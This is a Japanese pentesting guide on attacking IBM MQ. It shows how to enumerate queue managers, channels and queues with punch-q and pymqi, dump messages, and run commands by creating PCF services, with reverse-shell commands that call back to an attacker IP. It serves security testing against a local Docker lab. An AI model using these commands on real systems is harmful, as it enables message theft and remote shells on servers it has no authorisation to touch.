基本情報
IBM MQは、メッセージキューを管理するためのIBMの技術です。他のメッセージブローカー 技術と同様に、プロデューサーとコンシューマー間の情報を受信、保存、処理、分類することに特化しています。
デフォルトでは、IBM MQ TCPポート1414を公開しています 。
時には、HTTP REST APIがポート9443 で公開されることがあります。
メトリクス(Prometheus)はTCPポート9157 からもアクセス可能です。
IBM MQ TCPポート1414は、メッセージ、キュー、チャネルを操作するために使用できますが、インスタンスを制御するためにも使用できます 。
IBMは、https://www.ibm.com/docs/en/ibm-mq で利用可能な大規模な技術文書を提供しています。
ツール
簡単なエクスプロイトのために推奨されるツールは、Dockerを使用した**punch-q **です。このツールは、Pythonライブラリpymqi
を積極的に使用しています。
より手動のアプローチには、Pythonライブラリ**pymqi **を使用します。IBM MQの依存関係 が必要です。
pymqiのインストール
IBM MQの依存関係 をインストールして読み込む必要があります:
解凍します(tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz
)。
sudo ./mqlicense.sh
を実行してライセンス条項に同意します。
Kali Linuxを使用している場合は、mqlicense.sh
ファイルを修正します:次の行(105-110行の間)を削除またはコメントアウトします:
Copy if [ ${BUILD_PLATFORM} != ` uname ` _ ` uname ${UNAME_FLAG}` ]
then
echo "ERROR: This package is incompatible with this system"
echo " This package was built for ${BUILD_PLATFORM}"
exit 1
fi
Copy sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
その後、一時的に.so
ファイルをLDに追加します: export LD_LIBRARY_PATH=/opt/mqm/lib64
、他のツールをこれらの依存関係を使用して実行する前に 。
その後、プロジェクトpymqi をクローンできます: 興味深いコードスニペット、定数などが含まれています... または、ライブラリを直接インストールすることもできます: pip install pymqi
。
punch-qの使用
Dockerを使用して
単に次のように使用します: sudo docker run --rm -ti leonjza/punch-q
。
Dockerを使用しない場合
プロジェクトpunch-q をクローンし、インストールのためにreadmeに従ってください(pip install -r requirements.txt && python3 setup.py install
)。
その後、punch-q
コマンドで使用できます。
列挙
punch-q またはpymqi を使用して、キュー・マネージャー名、ユーザー、チャネル、キュー を列挙することができます。
キュー・マネージャー
時々、キュー・マネージャー名を取得するための保護がありません:
Copy ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
Channels
punch-q は、既存のチャネルを見つけるために内部の(変更可能な)単語リストを使用しています。使用例:
Copy ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
いくつかのIBM MQインスタンスが認証されていない MQリクエストを受け入れるため、--username / --password
は必要ありません。もちろん、アクセス権も異なる場合があります。
チャンネル名(ここではDEV.ADMIN.SVRCONN
)を取得すると、他のすべてのチャンネルを列挙できます。
列挙は基本的にpymqi のこのコードスニペットcode/examples/dis_channels.py
を使用して行うことができます:
Copy import logging
import pymqi
logging . basicConfig (level = logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = ' %s ( %s )' % (host , port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = { pymqi . CMQCFC . MQCACH_CHANNEL_NAME : prefix }
qmgr = pymqi . connect (queue_manager, channel, conn_info, user, password)
pcf = pymqi . PCFExecute (qmgr)
try :
response = pcf . MQCMD_INQUIRE_CHANNEL (args)
except pymqi . MQMIError as e :
if e . comp == pymqi . CMQC . MQCC_FAILED and e . reason == pymqi . CMQC . MQRC_UNKNOWN_OBJECT_NAME :
logging . info ( 'No channels matched prefix ` %s `' % prefix)
else :
raise
else :
for channel_info in response :
channel_name = channel_info [ pymqi . CMQCFC . MQCACH_CHANNEL_NAME ]
logging . info ( 'Found channel ` %s `' % channel_name)
qmgr . disconnect ()
... しかし、punch-q もその部分を埋め込んでいます(さらに詳しい情報があります!)。 次のコマンドで起動できます:
Copy ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*" ...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
| ---------------------- | ------------------- | --------- | ----------- | ------------ | ----------------- | ------------ |
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
キュー
pymqi (dis_queues.py
)のコードスニペットがありますが、punch-q はキューに関するより多くの情報を取得することを許可します:
Copy ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*" ...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
Exploit
Dump messages
キュー(複数)/ チャンネル(複数)をターゲットにして、そこからメッセージをスニッフィング / ダンプすることができます(非破壊操作)。 例:
Copy ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
Copy ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
すべての特定されたキューを反復することをためらわないでください。
コード実行
続行する前にいくつかの詳細: IBM MQは、MQSC、PCF、Control Commandなど複数の方法で制御できます。一般的なリストはIBM MQドキュメント で見つけることができます。 PCF (プログラム可能コマンド形式 )は、インスタンスとリモートで対話するために私たちが注目しているものです。punch-q およびさらにpymqi はPCFインタラクションに基づいています。
PCFコマンドのリストを見つけることができます:
興味深いコマンドの一つはMQCMD_CREATE_SERVICE
で、そのドキュメントはこちら で入手できます。引数として、インスタンス上のローカルプログラムを指すStartCommand
を取ります(例: /bin/sh
)。
ドキュメントにはコマンドの警告もあります: "注意: このコマンドはユーザーがmqm権限で任意のコマンドを実行することを許可します。このコマンドを使用する権利が与えられた場合、悪意のあるまたは不注意なユーザーが、重要なファイルを削除するなど、システムやデータに損害を与えるサービスを定義する可能性があります。"
注: IBM MQドキュメント(管理リファレンス)によると、サービス作成のためのMQSCコマンドを実行するためのHTTPエンドポイントが /admin/action/qmgr/{qmgrName}/mqsc
にもあります( DEFINE SERVICE
)。この側面はまだここではカバーされていません。
リモートプログラム実行のためのPCFによるサービスの作成/削除はpunch-q で行うことができます:
例 1
Copy ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
IBM MQのログには、コマンドが正常に実行されたことが記録されています:
Copy 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
マシン上の既存のプログラムを列挙することもできます(ここでは/bin/doesnotexist
... 存在しません):
Copy ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second ( s ) to live...
Cleaning up service...
Done
プログラムの起動は非同期であることに注意してください。したがって、エクスプロイトを活用するために2つ目のアイテムが必要です (リバースシェルのリスナー、別のサービスでのファイル作成、ネットワークを通じたデータの抽出...)
例2
簡単なリバースシェルのために、punch-q は2つのリバースシェルペイロードも提案しています:
もちろん、 execute
コマンドを使用してカスタムのものを作成することもできます。
bashの場合:
Copy ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
perlの場合:
Copy ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
カスタム PCF
IBM MQ ドキュメントを調べて、punch-q で実装されていない特定の PCF コマンドをテストするために pymqi Python ライブラリを直接使用できます。
例:
Copy import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = ' %s ( %s )' % (host , port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi . connect (queue_manager, channel, conn_info, user, password)
pcf = pymqi . PCFExecute (qmgr)
try :
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = { pymqi . CMQCFC . xxxxx : "value" }
response = pcf . MQCMD_CUSTOM_COMMAND (args)
except pymqi . MQMIError as e :
print ( "Error" )
else :
# Process response
qmgr . disconnect ()
定数名が見つからない場合は、IBM MQ ドキュメント を参照できます。
MQCMD_REFRESH_CLUSTER
の例 (10進数 = 73)。パラメータ MQCA_CLUSTER_NAME
(10進数 = 2029) が必要で、値は *
である可能性があります (ドキュメント: ):
Copy import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = ' %s ( %s )' % (host , port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi . connect (queue_manager, channel, conn_info, user, password)
pcf = pymqi . PCFExecute (qmgr)
try :
args = { 2029 : "*" }
response = pcf . MQCMD_REFRESH_CLUSTER (args)
except pymqi . MQMIError as e :
print ( "Error" )
else :
print (response)
qmgr . disconnect ()
テスト環境
IBM MQ の動作とエクスプロイトをテストしたい場合は、Docker に基づいたローカル環境を設定できます:
ibm.com および cloud.ibm.com にアカウントを持っていること。
Copy sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
デフォルトでは、認証が有効になっており、ユーザー名は admin
、パスワードは passw0rd
(環境変数 MQ_ADMIN_PASSWORD
)です。ここでは、キュー マネージャー名が MYQUEUEMGR
(変数 MQ_QMGR_NAME
)に設定されています。
IBM MQが稼働しており、そのポートが公開されている必要があります:
Copy ❯ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
IBM MQの古いバージョンのdockerイメージは次の場所にあります: https://hub.docker.com/r/ibmcom/mq/.
References